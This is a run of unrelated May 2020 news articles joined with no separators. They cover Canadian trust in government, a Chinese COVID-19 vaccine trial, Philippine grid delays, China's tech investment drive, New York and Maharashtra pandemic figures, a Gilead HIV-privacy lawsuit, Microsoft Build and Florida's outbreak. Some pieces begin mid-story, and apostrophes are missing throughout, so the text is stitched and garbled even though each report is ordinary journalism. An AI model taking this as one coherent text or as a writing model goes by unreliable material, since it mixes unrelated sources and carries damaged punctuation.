Other pollsters are documenting similar rising approval numbers for government, and also higher personal approval ratings for some individual leaders. Abacus Data reported this week that the Liberal governments approval rating is 58 per cent, something not seen since the heady days after its majority win in 2015. And after two months of lockdown many more Canadians approved of Justin Trudeaus performance than in March. His positive numbers rose from 32 per cent to 47 per cent, while negative impressions of Trudeau plunged from 47 per cent in March to 31 per cent.

Ontario Premier Doug Ford, booed at a Raptors victory rally a year ago, is soaring, according to the pollsters at Campaign Research.

Personalities aside, the trust spike that Edelman identified is a reflection of several things: governments at all levels in Canada acted quickly and on a large scale in their response to the pandemic.

Political leaders collaborated, showed themselves to be nimble, throwing out playbooks and moving swiftly to design income rescue packages, to approve experimental health research and products, and to purchase personal protective equipment in a wild west global market. Theyve worked with willing private-sector players. Theyve been supported by public servants who are doing the same thing  hustling help out the door.

Politicians made a deliberate effort to be guided by medical advice, to let doctors and scientific experts do a lot of the talking  following lessons learned in the 2003 SARS outbreak.

And they are making an effort to keep most of the usual federal-provincial disagreements behind closed doors, although The Star reported strains in that dynamic.

Saskatchewan Premier Scott Moe, who chairs the Council of the Federation representing all 13 premiers and territorial leaders, voiced frustrations with Ottawa at the lack of prior consultation on several big aid programs and at suggestions Ottawa should have a greater say in areas of provincial responsibility, like long-term care for seniors or child-care services.

So now, with Canadians in a third month of pandemic politics, and the country implementing staggered reopenings of the economy, will we see the trust last? Is it a trust bubble? What could erode it?

The answer is any number of things:

Leaders who appear to break the rules they set for the rest of us, visiting with their families like Ford did, or going to their cottage retreats like Trudeau did, while others cannot.

A return to hyperpartisan rhetoric or off-key criticism. This is a risk for all parties at a time when Canadians have low tolerance for politics as usual.

A failure of government measures and advice to keep pace with changing scientific information when it comes to reopening borders, screening travellers, or the wearing of masks by the general public, for example.

At first, in February and March, the public health advice from Canadas top doctor was that anyone who isnt sick doesnt need to wear a non-medical mask. That shifted in April when Dr. Theresa Tam said the medical evidence showed people with no symptoms may still be infectious so people could choose to wear masks where they cannot physically distance from others. In May, that permissive approach has shifted again to a stronger recommendation: federal and provincial health authorities recommend the public wear non-medical masks when they go out as part of the new normal, in the words of Nova Scotia chief medical officer Dr. Robert Strang.

The shifts are never accompanied by a frank admission that the earlier advice was not correct, and that new action is warranted.

Trust is fragile. It might be eroded by a failure by governments to deliver the promised aid, to be transparent about mistakes around their rushed efforts, or to be flexible. The Liberals quickly expanded the wage subsidy to employers from an initial offer of 10 per cent to 75 per cent. Trudeau recently adjusted the wage subsidy program again, extending it to the end of August, and expanding it to include more employers.

But Trudeau has resisted objections by some premiers and the Conservative Opposition that the Canada Emergency Response Benefit or student benefits ($2,000 and $1,250 respectively) might be too rich, and act as a disincentive to workers. So far its hard to say if those need tweaking too.

Trust is built by listening to those you disagree with. It has become clear in the crisis that governments must respect the legitimate role of Opposition parties to hold them to account. Power grabs do not go over well. The Liberal government made an early misstep with a bill that would have granted it unlimited tax and spending power with no parliamentary oversight until December 2021. It quickly reversed course.

Maintaining trust will also depend on real fixes to myriad problems the pandemic has exposed. Talk is cheap.

COVID-19 left Canadians feeling vulnerable as individuals  none of us had immunity to the novel coronavirus and its unclear whether our bodies develop antibodies even after getting infected. But with no vaccine in sight, and huge gaps in testing and contact tracing, we are still vulnerable to a second wave.

The pandemic exposed key weaknesses in our systems and institutions: long-term care for seniors, cuts to public health that left us without adequate emergency stockpiles, and a lack of surge capacity in hospitals and ICUs. Our eyes were opened to how easily the pandemic disrupted global supply chains or just-in-time delivery systems, and how some of the countrys biggest employers, airlines, retail, hospitality and service sectors could be side-swiped.

We realized how reliant we are on safe schools and child-care services for women to return to the workforce, how reliant we are on temporary foreign workers for food production lines, and how much we needed big telcos, big pharma, and even big government. No province alone could have undertaken the massive income supports that were needed.

Now Canadians are trusting that governments will fulfil pledges to take a clear-eyed look at all that went wrong and fix it.

Trudeau said recently that COVID-19 will be one of those things that creates changes in our society. Our responsibility as a society, as government is to try and figure out how to minimize the negative impacts of those changes while maximizing the safety of Canadians.

Not everyone trusts him to keep his word.

A scathing open letter to Trudeau by the Macdonald-Laurier Institute slammed Trudeau for failing to get the balance between health risks and economic safety right in the first place. The lockdown, in the view of two dozen signatories who call themselves concerned Canadian thought leaders, went too far and has jeopardized the economic well-being of Canadians.

They said Trudeau, who has mused that restrictions could last a year or more, must stop positing an either-or choice and should instead trust Canadians to do the right thing.

The government must trust and empower Canadians to move prudently back to something approaching normal by giving us clear, non-technical statements of the best available information on which to base our decisions and then allowing and indeed encouraging us to take responsibility for ourselves and get back to work.

In other words, theyre saying, trust is a two-way street.

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A new study out of China suggests that it should be possible to develop a safe vaccine against COVID-19, though the effectiveness of a single shot remains unclear.

In a paper in The Lancet Friday, Chinese researchers revealed that their candidate vaccine has so far been tested in 108 healthy adults ages 18 to 60 in Wuhan, China, where the pandemic began.

One-third of the participants received a low dose, one-third a medium dose and one-third a high dose of the candidate vaccine, referred to as Ad5-nCoV. None of the participants reported serious reactions to the vaccine, though some did suffer pain at the injection site, fever, fatigue, headache and muscle pain.

Within two weeks of getting the vaccine, the immune systems of people receiving all three doses showed some level of response, with most developing a type of antibody that can attach to the virus, though not necessarily destroy it. Some also developed so-called neutralizing antibodies, which can block the virus.

The key outstanding question is whether this vaccine or other similar ones can generate enough of these neutralizing antibodies to protect people against the virus, said Peter Jay Hotez, dean of the National School of Tropical Medicine at Baylor College of Medicine in Houston.

It looks overall like the level of neutralizing antibody, which is a special type of antibody needed for protection, is relatively low, Hotez said.

But no one knows what level of neutralizing antibodies will be needed to protect against infection with SARS-CoV-2, the virus that causes COVID-19.

Another option, Hotez said, will be to boost the effectiveness of this type of vaccine with a second type of vaccine.

Other researchers echoed Hotez words of cautious optimism.

It is exciting to see that the vaccine triggered an immune response, said Bruce Walker, director of the Ragon Institute of MGH, MIT and Harvard, which studies the immune system and recently shifted its focus to COVID-19. But the investigators are appropriately cautious about interpretation since we dont know if these levels are what is needed for protection.

Story continues

Engineers pose inside of the Cells Culture Room laboratory April 29, 2020, where they check a monkey's kidney cells as they work on an experimental vaccine for the COVID-19 coronavirus at the Sinovac Biotech facilities in Beijing. Sinovac is conducting one of the four clinical trials that have been authorized in China, but not the one with the success published in The Lancet May 22.

There are several different types of vaccines being tested against the coronavirus that causes COVID-19. The one in this trial is called an adenovirus vaccine, because it uses a weakened cold virus to deliver genetic material to cells in the body. These cells then make a protein found on the surface of the coronavirus, spurring the immune system to create antibodies that will recognize and hopefully destroy it.

One challenge with this Ad5-nCoV vaccine, Walker said, is that it uses adenovirus 5 to deliver its payload  a cold virus that roughly half the population has been exposed to before. In those people, the immune system will clear out the cold virus before it can deliver its payload, and therefore the vaccine wont work as well or at all.

Older people are more likely to have been exposed to the Ad5 cold virus, simply because theyve been alive longer, meaning the vaccine is least likely to work in the people who need it the most, Walker said via email.

Other adenovirus vaccines currently being developed to fight COVID-19 use different cold viruses, including Ad26 and a chimpanzee virus, to avoid this problem, he noted.

Roughly 100 teams worldwide are currently developing vaccines, including Moderna Therapeutics of Cambridge, Mass., and the Oxford Vaccine Group, which have also reported early results from testing in people.

In the newly published trial, researchers checked for adverse reactions both one and four weeks after vaccination. One patient in the highest-dose group reported severe fatigue and joint pain, but no complaints met the most serious category of complaint.

This early-stage trial is intended to ensure safety, as well as suggest which dose should be used for larger, later-stage trials that will check again for safety and look more closely at effectiveness.

The research was funded by the National Key R&D Program of China, National Science and Technology Major Project, and CanSino Biologics.

In a statement released with the study, one of the scientists described the results as an important milestone, though he cautioned that a lot more research remains to be done.

The challenges in the development of a COVD-19 vaccine are unprecedented, and the ability to trigger these immune responses does not necessarily indicate that the vaccine will protect humans from COVID-19, said Wei Chen from the Beijing Institute of Biotechnology, who is responsible for the study. This result shows a promising vision for the development of COVID-19 vaccines, but we are still a long way from this vaccine being available to all.

This article originally appeared on USA TODAY: Coronavirus vaccine trial in China gets 'promising' early results
Metro Manila (CNN Philippines, May 22) - The National Grid Corporation of the Philippines (NGCP) said that the construction of several energy projects, considered critical, was delayed due to the lockdown brought by coronavirus pandemic.

NGCP Asst. Corporate Secretary Roland Concepcion shared to the Joint Congressional Energy Commission hearing on Friday that some of the projects delayed were:

. San Jose-Quezon 230kV Transmission Line

. San Manuel-Nagsaag Transmission Line

. Alas-asin 500kV Substation Project

. Balsik 500kV Substation Project

. Mariveles-Hermosa 500kV Transmission Line

. Hermosa-San Jose 500 kV transmission Line

Most of our projects were suspended, so we are expecting delays in all of them. But we identified these projects as the most critical and that we recognize to have them resumed as soon as possible, said Concepcion.

He added that resumption of the construction is expected to begin next week.

In fact, some of the contractors, employees, have already started testing. They will resume construction... I think some of them by next week, said Concepcion.

The Luzon-wide lockdown last March prohibited business activities and from operating including construction works.
Beijing will invest $1.4 trillion over the next six years to become the global leader in technology.

Beijing is accelerating its bid for global leadership in key technologies, planning to pump more than a trillion dollars into the economy through the rollout of everything from wireless networks to artificial intelligence.

In the masterplan backed by President Xi Jinping himself, China will invest an estimated $1.4 trillion over six years to 2025, calling on urban governments and private tech giants like Huawei Technologies Co. to lay fifth generation wireless networks, install cameras and sensors, and develop AI software that will underpin autonomous driving to automated factories and mass surveillance.

The new infrastructure initiative is expected to drive mainly local giants from Alibaba and Huawei to SenseTime Group Ltd. at the expense of U.S. companies. As tech nationalism mounts, the investment drive will reduce Chinas dependence on foreign technology, echoing objectives set forth previously in the Made in China 2025 program. Such initiatives have already drawn fierce criticism from the Trump administration, resulting in moves to block the rise of Chinese tech companies such as Huawei.

Nothing like this has happened before, this is Chinas gambit to win the global tech race, said Digital China Holdings Chief Operating Officer Maria Kwok, as she sat in a Hong Kong office surrounded by facial recognition cameras and sensors. Starting this year, we are really beginning to see the money flow through.

The tech investment push is part of a fiscal package waiting to be signed off by Chinas legislature, which convenes this week. The government is expected to announce infrastructure funding of as much as $563 billion this year, against the backdrop of the countrys worst economic performance since the Mao era.

The nations biggest purveyors of cloud computing and data analysis Alibaba Group Holding Ltd. and Tencent Holdings Ltd. will be linchpins of the upcoming endeavor. China has already entrusted Huawei to galvanize 5G. Tech leaders including Pony Ma and Jack Ma are espousing the program.

Maria Kwoks company is a government-backed systems integration provider, among many that are jumping at the chance. In the southern city of Guangzhou, Digital China is bringing half a million units of project housing online, including a complex three quarters the size of Central Park. To find a home, a user just has to log on to an app, scan their face and verify their identity. Leases can be signed digitally via smartphone and the renting authority is automatically flagged if a tenants payment is late.

China is no stranger to far-reaching plans with massive price tags that appear to achieve little. Theres no guarantee this program will deliver the economic rejuvenation its proponents promise. Unlike previous efforts to resuscitate the economy with dumb bridges and highways, this newly laid digital infrastructure will help national champions develop cutting-edge technologies.

China isnt alone in pumping money into the tech sector as a way to get out of the post-virus economic slump. Earlier this month, South Korea said AI and wireless communications would be at the core of it its New Deal to create jobs and boost growth.

According to the government-backed China Center for Information Industry Development, the 10 trillion yuan ($1.4 trillion) that China is estimated to spend from now until 2025 encompasses areas typically considered leading edge such as AI and IoT as well as items such as ultra-high voltage lines and high-speed rail. More than 20 of mainland Chinas 31 provinces and regions have announced projects totaling over 1 trillion yuan with active participation from private capital, a state-backed newspaper reported Wednesday.

Separate estimates by Morgan Stanley put new infrastructure at around $180 billion each year for the next 11 years  or $1.98 trillion in total. Those calculations also include power and rail lines. That annual figure would be almost double the past three-year average, the investment bank said in a March report that listed key stock beneficiaries including companies such as China Tower Corp., Alibaba, GDS Holdings, Quanta Computer Inc. and Advantech Co.

Beijings half-formed vision is already stirring a plethora of stocks, a big reason why five of Chinas 10 best-performing stocks this year are tech plays like networking gear maker Dawning Information Industry Co. and Apple supplier GoerTek Inc. The bare outlines of the masterplan were enough to drive pundits toward everything from satellite operators to broadband providers.

Its unlikely that U.S companies will benefit much from the tech-led stimulus and in some cases they stand to lose existing business. Earlier this year when the countrys largest telecom carrier China Mobile awarded contracts for 37 billion yuan in 5G base stations, the lions share went to Huawei and other Chinese companies. Swedens Ericsson got only a little over 10% of the business in the first four months. In one of its projects, Digital China will help the northeastern city of Changchun swap out American cloud computing staples IBM, Oracle and EMC with home-grown technology.

Its in data centers that a considerable chunk of the new infrastructure development will take place. Over 20 provinces have launched policies to support enterprises utilizing cloud computing services, according to a March note from UBS Group AG. Tony Yu, chief executive officer of Chinese server maker H3C, that his company was seeing a significant increase in demand for data center services from some of the countrys top internet companies. Rapid growth in up-and-coming sectors will bring a new force to Chinas economy after the pandemic passes, he told Bloomberg News.

From there, more investment should flow. Bain Capital-backed data center operator Chindata Group estimated that for every one dollar spent on data centers another $5 to $10 in investment in related sectors would take place, including in networking, power grid and advanced equipment manufacturing. A whole host of supply-chain companies will benefit, the company said in a statement.

Theres concern about whether this long-term strategy provides much in the way of stimulus now, and where the money will come from. Its impossible to prop up Chinas economy with new infrastructure alone, said Zhu Tian, professor of economics at China Europe International Business School in Shanghai. If you are worried about the governments added debt levels and their debt servicing abilities right now, of course you wouldnt do it. But its a necessary thing to do at a time of crisis.

Digital China is confident that follow-up projects from its housing initiative in Guangzhou could generate 30 million yuan in revenue for the company. Its also hoping to replicate those efforts with local governments in the northeastern province of Jilin, where it has 3.3 billion yuan worth of projects approved. These include building a so-called city brain that will for the first time connect databases including traffic, schools and civil matters such as marriage registry. The concept of smart cities has been touted for years but now we are finally seeing the investment, said Kwok.
As a result of the pandemic, he said, we think that number is two million or more. So almost a doubling. Thats why we have made food such a central part of what we do in response to this crisis.

The city has been expanding its food-distribution efforts for weeks and has given out 32 million meals during the crisis, the mayor said.

The mayors announcement came after a series of complaints about the quality and nutritional value of food delivered to some residents.

[Get the latest news and updates on the coronavirus in the New York region.]

Cases rise sharply for virus-linked syndrome in children.

New York State is investigating 157 cases of a severe inflammatory syndrome that is linked to the coronavirus and affects children, a 53 percent increase in the past nine days, Gov. Andrew M. Cuomo said on Thursday.

The more we look, the more we find it, Mr. Cuomo said at his daily news briefing. On May 12, the state was investigating 102 cases.

The condition, which the federal Centers for Disease Control and Prevention has labeled multisystem inflammatory syndrome in children, often appears weeks after infection in children who did not experience first-phase virus symptoms.

Instead of targeting the lungs as the primary virus infection does, it causes inflammation throughout the body and can severely damage the heart.
Maharashtra on Thursday recorded 2,345 Covid-19 cases, the fifth day in a row of 2,000 or more fresh infections, taking the tally past the grim 40,000 mark to 41,642.

Of them, 28,454 are active cases, according to the state health department. This was the states second-highest one-day figure after Sunday, when it reported 2,347 infections.

Mumbai on Thursday reported 1,382 new cases, taking its total to 25,500.

The state data also showed that the number of cases doubled in just 12 days after it crossed the 20,000 mark on May 9. Maharashtra had crossed 10,000 cases on April 30. If fresh cases continue to be reported at this rate, Maharashtra is likely to cross the 50,000 mark by May 25.

The death toll of the state touched 1,454 as 64 deaths were recorded on Thursday.

Of them, 41 were in Mumbai, nine in Malegaon, seven in Pune, three in Aurangabad, two in Navi Mumbai and one each in Pimpri-Chinchwad and Solapur. The death toll of Mumbai touched 882.

Of the deaths, 31 were of above 60 years of age, while 29 were in the age group of 40 to 59 years and the remaining four were below the age of 40 years. Of the deceased, 38 had high-risk co-morbidities, including diabetes, hypertension and heart ailments, health officials said.

Officials said that they will have to wait for the fifth incubation period to end on May 31, after which they are expecting a gradual decline in fresh cases.

As more relaxations are set to come into force from Friday, the number of fresh cases in the state has started soaring, the figures indicate. The past five days have reported over 2,000 cases each. On May 17, there were 2,347 cases, May 18 had 2,033 new infections, May 19 reported 2,127 and May 20 saw 2,250 cases.

The state has experienced a significant rise since May 6, when it started getting over 1,000 cases daily. In the past 16 days, the state has recorded 26,283 cases, which means on an average, it is getting over 1,600 fresh cases daily.

In May (past 21 days) alone, the state has reported as many as 31,310 cases, whereas the total number of cases registered in April was 10,201.

Till April-end, the number of new cases were in the range of 500, after which it turned into four digits since May 6.

The fresh infections since May 6 are as follows: May 6 - 1,233; May 7 - 1,216, May 8 - 1,089; May 9 -1,165; May 10 - 1,278 cases, May 11  1,230; May 12  1,026; May 13  1,495; May 14  1,602, May 15  1,576 and May 16  1,606. Besides, on May 10, the state also declared 665 cases additionally, saying that they were registered in the few days prior to that and are being declared as per the Central governments directive to bring the data at par with the national figures on the ICMR website.

The first case of coronavirus was reported on March 9 and it took 30 days for the state to cross the 1,000 mark. For the first 10,000 cases, it took 53 days.

Dr Tatyarao Lahane, director, Directorate of Medical Education and Research (DMER), said the state has not reached the community transmission stage  where the source of infection is unknown as there is no exponential growth in the number of fresh cases. Also, state health authorities are expecting a flattening of the curve by this month end. We are waiting for another 14-day incubation cycle to end on May 31, after which the rise is likely to come under control and gradually, the decline will start, he said. He, however, also said if it doesnt happen, then the rise may also lead to a community transmission stage.

The number of recoveries has also jumped to 11,726 as 1,408 patients recovered on Thursday.

The mortality rate of the state has come down to 3.54% (1390 deaths) on Wednesday, from 7.41% (148 cases) on April 13. However, it continued to be higher than the national mortality rate of 3.06% (3,435 deaths) till Wednesday, stated the data of the state medical education department.

Last week, state health minister Rajesh Tope said the peak has not come yet and it may come by June-end. All the predictions about the rise in cases in Mumbai and Maharashtra have not come true, but the numbers are rising and the peak is yet to come. Going by the mathematical predictions, the actual peak is likely to come by June-end. It means by June-end, the number of cases in Mumbai will increase four times. We are trying to prevent it from happening, but we have to be prepared for the worst and hope for the best, Tope had said.

So far, 26,865 people have been kept in institutional quarantine in the state and over 4,37,304 people have been put under home quarantine.

On Thursday, the state also completed 59 days of lockdown that was imposed from midnight of March 23, a day before the nationwide lockdown imposed by Prime Minister Narendra Modi. It was partially lifted on April 20 in the areas where there are no cases or minimal cases.

The state government, by its notification issued on Tuesday (May 19), allowed more industrial and commercial activities in rural and semi-urban areas by excluding them from red zones. The relaxations, however, will come into force from Friday. By restructuring red zones, it has also reduced the area under curbs of the lockdown to just 18 municipal corporations, having a population of 2.91 crore. Earlier, 14 districts with a population of 6.56 crore were under the red zones.

Allowing more activities in more districts will help not only in ensuring revenue generation, but also in sending a positive message to people who are under distress due to the pandemic, said a senior minister.

On Monday, the health department also declared to have conducted 3,19,710 tests at various public and private facilities across Maharashtra. Of them, 2,78,068 people tested negative.

State currently has 1,949 active containment zones. A total of 15,894 survey teams, comprising doctors and assisting staff, have screened more than 64.89 lakh people.

Of the states 36 districts, Gadchiroli was the only one that was not having a single case till May 18. However, some migrant workers, who returned to the district from Mumbai, tested positive and now it has seven cases.

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A drug company may have violated the privacyof thousands of people who are taking a medicine to prevent them from coming down with HIV.

Gilead Sciences, the biopharmaceutical giant, sent out a mass mailing in mid-April to people on its antiretroviral drugs, Truvada and Descovy. The drugs are used to reduce the risk of HIV infection, a prevention measure called pre-exposure prophylaxis (PrEP).

The return address on the envelopes read HIV Prevention Team.

On Thursday, the AIDS Law Project of Pennsylvania filed a federal class action suit against Gilead. It claims the company illegally compromised the privacy rights of patients by recklessly mailing the inappropriately marked envelopes after promising confidentiality.

Its unclear how many people received the letters.

The suit demands that Gileads HIV Prevention Team immediately stop sending out letters to patients and seeks unspecified monetary damages. It was filed in the Northern District of California. The AIDS Law Project was joined by law firms Berger Montague and Langer Grogan and Diver.

We regret that the envelope caused any concerns, and we apologize to anyone affected, Gilead, which is on the forefront of developing a COVID-19 vaccine, said a statement. However, we deny the assertions in the complaint and will file our response in a timely manner.

The company added that on discovering that an envelope template usually used for communications with health-care professionals was inadvertently used for the consumer mailer in question, we took immediate action to address it, including to discontinue the use of this particular envelope.

Its not the first time a major American company has breached the privacy of patients on HIV medications. In 2017, the health insurer Aetna sent a letter with instructions on how to fill prescriptions for HIV drugs. The information about the patients status could be easily seen through the clear window of the envelope.

Aetna settled the resulting class action case for $17.2 million. Each of the 12,000 patients in the class was awarded $645 and had the option to file an additional claim for up to $20,000. That suit also was spearheaded by the AIDS Law Project of Philadelphia along with the co-council of Berger Montague.

In light of the expensive Aetna gaffe, Gileads error was completely dumb, said Ronda Goldfein, executive director of the AIDS Law Project.

After the Aetna case youd think if you were an entity that holds confidential information, youd redouble all your efforts to prevent careless mistakes, Goldfein said.

People who received Gileads recent letter were participating in the companys patient-assistance program.

When taken daily, studies have shown that PrEP reduces the risk of getting HIV from sex by about 99%, according to the Centers for Disease Control and Prevention. Gileads Truvada and Descovy are the only drugs approved by the FDA for PrEP.

Its a great program, Goldfein said. But people didnt realize that by accepting the discount it provides theyd be putting their privacy at risk.

Goldfein said an Alabama man was mortified when the envelope marked with HIV Prevention Team in bold red lettering turned up in his workplace mailroom.

An Indiana man similarly was shocked when he received the same mailing. Goldfein said the Indiana man is so protective of his personal information that he fills his HIV-related prescriptions at a different pharmacy chain from where he gets his other medications.

In the Aetna case we saw some immediate direct harm to patients, Goldfein said. "It impacted their families, their housing, and their jobs. It created a lot of anxiety for fear of who now had access to their confidential information.

Those folks now are terrified when the mail comes.
This week Microsoft hosted its annual Build conference completely online. That meant streaming keynotes, panels, digital breakouts and workshops for developers. But that didnt slow down the flow of news. From a new framework for Office collaboration and a Cloud offering for Healthcare to an AI supercomputer, Microsoft flexed some serious tech muscle. The companys investments in cloud and machine learning are starting to deliver real products.

Businesses continue to be the main target of its software offerings -- things like Outlook, Office, Teams and SharePoint. Microsoft has been working to make its 365 services more powerful. It announced Fluid Framework last year, promising a collaboration ecosystem that does away with distinctions between Excel spreadsheets, Word documents and PowerPoint slides altogether. Those file types will cease to exist, and instead youll simply use bits and pieces of these formats in the same workspace. Its a bold proposition, but one with the potential to propel Microsofts productivity software ahead of Googles. At Build, the company announced it will be rolling out the Fluid Framework in the next few months.

If youre on the Targeted Release cycle, youll be one of the first people to try this out in Office.com and Outlook for the web. In the new format, youll be able to start whichever Office app you want -- say Excel or Word, for example -- and pull in Fluid components like charts, tables or task lists.

Microsoft

These components will stay updated wherever they are, so if you edit a cell in a table you pulled from an existing spreadsheet, the value will save in every place it exists. Youll also be able to collaborate on these files in real time with others, too. These components can be inserted into emails or even a chat app like Microsofts Teams. The company also announced that Fluid Framework will be open-source, so you might see third-party apps make use of these features in future too.

Microsoft also announced a new Lists app thats based on the existing Lists feature in SharePoint. The project management tool will let you track your progress using checklists across Microsofts services, and you can create new to-do lists from within chat apps like Teams, too. Youll also be able to import existing lists from elsewhere in the app for people in the room to comment and edit. Your coworkers can tweak or leave suggestions on both the full list and individual items in it as well. Theres also conditional formatting so you can have background or font colors change when items are checked off, or have the icons update based on specific situations.

As Microsoft continues to build out and enhance its suite of productivity software, its also eyeing ways to reach more organizations. This week, the company announced its first Industry Cloud offering, which is a set of tools designed for specific industries. Microsoft is starting with Cloud for Healthcare, which is pretty smart and timely given the countrys pivot to telehealth.

Microsoft

The new service offers medical workers access to a range of tools like Microsofts Teams and Healthcare Bot Service, in addition to patient engagement portals and systems for booking appointments and making referrals. Within Teams, health care providers can also conduct HIPAA-compliant telehealth visits and follow up on aftercare. The patient portals will also make it easier to manage appointment bookings, send reminders and make bill payments across various devices.

Providers can also use Cloud for Healthcare to reach out to patients with preventative and care management programs. With Azure IoT integration, they can also remotely receive data from medical devices in real time to escalate care when needed and respond quickly to emergency situations.

It all sounds like a comprehensive, well-rounded way to manage most of the aspects of running a health care business, which, given how fragmented Americas infrastructure is on this front, is welcome news.

Microsoft

From improving productivity software to creating cloud-based systems for entire industries, to  a supercomputer? Microsoft also announced that its developed a supercomputer hosted on its Azure cloud network. It was built specifically to train OpenAI models to tackle large problems. Microsoft hasnt shared detailed speed measurements yet, but the supercomputer does have 285 THOUSAND CPU cores and 10,000 GPUs that help it execute massive, complicated AI models. That should make it one of the five fastest systems in the world.

While its not yet clear exactly what processes the supercomputer will work on, that amount of power could allow Microsoft to train AI for more complex tasks like moderating game streams, instead of simpler things like recognizing faces in photos, for example.

Again, Microsoft hasnt laid out concrete plans for how it plans to use this supercomputer, but the companys been public about its ambitions. It announced in April plans for a planetary computer thats basically a system that takes in global data about the world, processes it with AI and machine learning, then delivers environmental and biological data to customers. The goal is to help inform decision-making around environmental issues in both the private and public sectors.

Thats a whole lot of news out of Microsoft in two days, and surprisingly, Im excited about some of it. Fluid Framework is the most immediately compelling, since it could actually change my day to day workflow. Even though Im currently a hardcore Google user, I could see Microsofts advancements spurring its rivals to step up their games. Im also intrigued by Cloud for Healthcare and what it could do for medical workers and organizations everywhere.

This Build, Microsoft showed us improvements at the micro level with boosts to its productivity software, flexed its ample cloud muscle at the middle level with the Industry Cloud offerings, and finally, laid the foundation for good work to come at the macro level with its AI supercomputer news. Its clear the company wants to be a part of your life at every turn.
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Florida seemed headed for disaster: In the earliest days of the coronavirus epidemic in the U.S., throngs of rowdy spring breakers flocked to the states beaches and bars. Disney World, which draws visitors from around the globe, seemed a uniquely dangerous breeding ground. And the states demographics were worrying, given that Florida is chock-full of retirees in populous senior communities (Gov. Ron DeSantis has recently joked that Florida is Gods waiting room).

DeSantis, for his part, spouted off false information about the virus as he resisted increasingly urgent calls from experts and local leaders to take action. He refused to close the spring break gathering spots, allowing officials in South Florida to make their own decisions about restaurant and beach closures. He waited until April 1two weeks after other states began closing their businessesto issue a safer-at-home order. As Florida reported the first deaths on the East Coast, it seemed inevitable that the countrys third-largest state would join New York, Washington, and California as one of the pandemics regional hubs.

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The disaster didnt arrive, though. Florida hasnt exactly been spared, and as of Tuesday, it has had more than 47,000 cases and more than 2,000 deaths. But the predictions had been dire: 465,000 Floridians hospitalized under the worst-case scenario, if social distancing measures were not enacted. If you rank states by the number of cases per capita, Florida is 32ndjust worse than California. (Its 27th on the list of deaths per capita.) Despite many ominous signs about Floridas handling of the coronavirus, the state appears to be doing, surprisingly, OK.

This has led people to speculate. Were fears overblown and DeSantis critics wrong? Could it be that Florida never needed to take the kinds of measures New York took? Is it just the weather?

Theory 1: A Hot and Humid Climate

According to one popular theory, that might be part of it: Floridians fared better because of the states tropical climate. Since COVID-19 emerged, scientists have wondered if the virus will experience seasonal fluctuations, dipping in the summer because it spreads less under hot and humid conditions. Some of the optimism is based on the behavior of flu viruses, which have a familiar seasonality. Similarly, Dr. George Rutherford, the head of the infectious disease and global epidemiology division at the University of California, San Francisco, said that human alpha coronavirusesthe ones that can cause common coldspeak in winter months. But no experts have claimed that the summer will save us.

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A number of working papers suggest that the coronavirus does do worse under hot and humid conditions. SARS-CoV-2 probably does have some temperatures it likes better, said Dr. Larry Chang of Johns Hopkins Medicine. But, he added, none of that is 100 percent, slam-dunk definitive. Lab experiments have shown that the virus spreads more and survives better in cold and dry settings. Even with the flu and common cold, we dont really understand the mechanisms that cause the viruses to stumble in the summer. But scientists have theories. SARS-CoV-2 is enveloped in a coat that may be broken down under heat or humidity, or under ultraviolet light from the sun, meaning it would no longer have the structure needed to be infectious. This degeneration also happens when its exposed to soap or just exists on its own for long enough.

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Humidity, some experts have proposed, may also help because the virus is transmitted through droplets when you cough, breathe, or talk. One theory holds that in humid air, the virus-laden particles fall more quickly to the ground. Another theory says that low humidity can affect the respiratory tracts ciliamicroscopic structures that help clear dirt and mucusthereby making us more susceptible to certain viral infections. Similarly, sunshine helps the body produce vitamin D, which may be connected with good health and resilience.

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Theres another factor that generally helps summer slow the spread of disease: human behavior. People spend more time outdoors in the summer and less in enclosed spaces with other people. Children also get out of school in the summer, resolving one of the most reliably common methods the flu virus spreads. (The coronavirus may not follow this trend. We know children can become infected, but we dont know how much they transmit the virus, so we dont know how much a return to school will affect the numbers. With influenza, elementary schools are massive factories, Rutherford said. But we have no evidence of that with this virus.)

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The coronavirus is a very different virus, so we just dont know yet, said Dr. Dean Winslow, an infectious disease specialist at Stanford Health Care. He agreed that there was room for hope, but not too much, and he warned that we should be careful to make any assumptions about the virus. I think a lot of us are reticent to make too broad of predictions because this virus has fooled us so many times, he added.

And lab tests are notoriously difficult to apply to real life. Rutherford noted that what seems more convincing, from a practical standpoint, is that Brazil had a major epidemic, and there was even an outbreak in a bathhouse in China. So I think that if theres an effect, its going to be quite modest, he said.

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So if its not climate, then what?

Theory 2: Protecting the Elderly

DeSantis has tried to claim some of the states success for himself. He has repeatedly declared victory over his critics, noting the high rates in Democratic-controlled states, such as New York (a state DeSantis has been eager to both blame for the virus and compare himself against). In an interview with the National Review published Wednesday, the governor said the states aggressive stance with regard to nursing homes allowed it to be more lax with the general population.

This has some truth to it. Florida ramped up testing at long-term care facilities and gave the workers at those facilities priority when it came to personal protective gear and other resources. DeSantis ordered the National Guard to conduct on-site tests at elder care homes, ordered all staff at senior care facilities to be screened for temperatures, and launched a mobile testing lab to travel to long-term care facilities. Significantly, in early May, he ordered hospitals to test patients for the coronavirus before transferring them to the care facilities. New York, by comparison, mandated that nursing homes accept recovering COVID patients in order to free up beds in the hospitalsa decision that has been heavily criticized.

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Still, its not as if DeSantis acted quickly. The Miami Herald reported Wednesday that the state concealed its knowledge of the looming threat early on, and as new probable cases began piling up, the health department refused to release information about testing even to local hospitals and state senators. If nursing homes were spared some worse fate, it would also have something to do with those facilities own decisions. Earlier in May, some nursing home administrators told the Herald and the Tampa Bay Times that they had adopted protective measures more than a month before DeSantis ordered them. The state testing efforts, they said, were great but way too late, and the lack of available tests early on had made it impossible to stop outbreaks.

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DeSantis has touted other policy decisions that are trickier to examine. He has claimed, for example, that his decision not to close beaches statewide was vindicated. While beaches are generally considered safe places for responsible recreation, Peter Rebeiro, a professor at Vanderbilt University School of Medicine, noted that its difficult to say what their effect would be if you factor in more crowded and party-oriented places, such as South Beach. Plus, southeastern counties made their own decisions to close their beaches.

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And that gets at another significant factor. DeSantis has boasted about allowing different restrictions for different counties. I said from the beginning, were a big, diverse state, he told the National Review. The epidemic is not going to affect this state uniformly, and whats appropriate in Miami and Broward may not be appropriate for Jacksonville or the Panhandle. But many public health experts agree that prompt action in the earliest days of the pandemic in the U.S.even in rural areaswould have saved thousands of lives, and Rebeiro said most public health experts would agree that an earlier statewide order in a state as large as Florida would have spared a significant number of deaths.

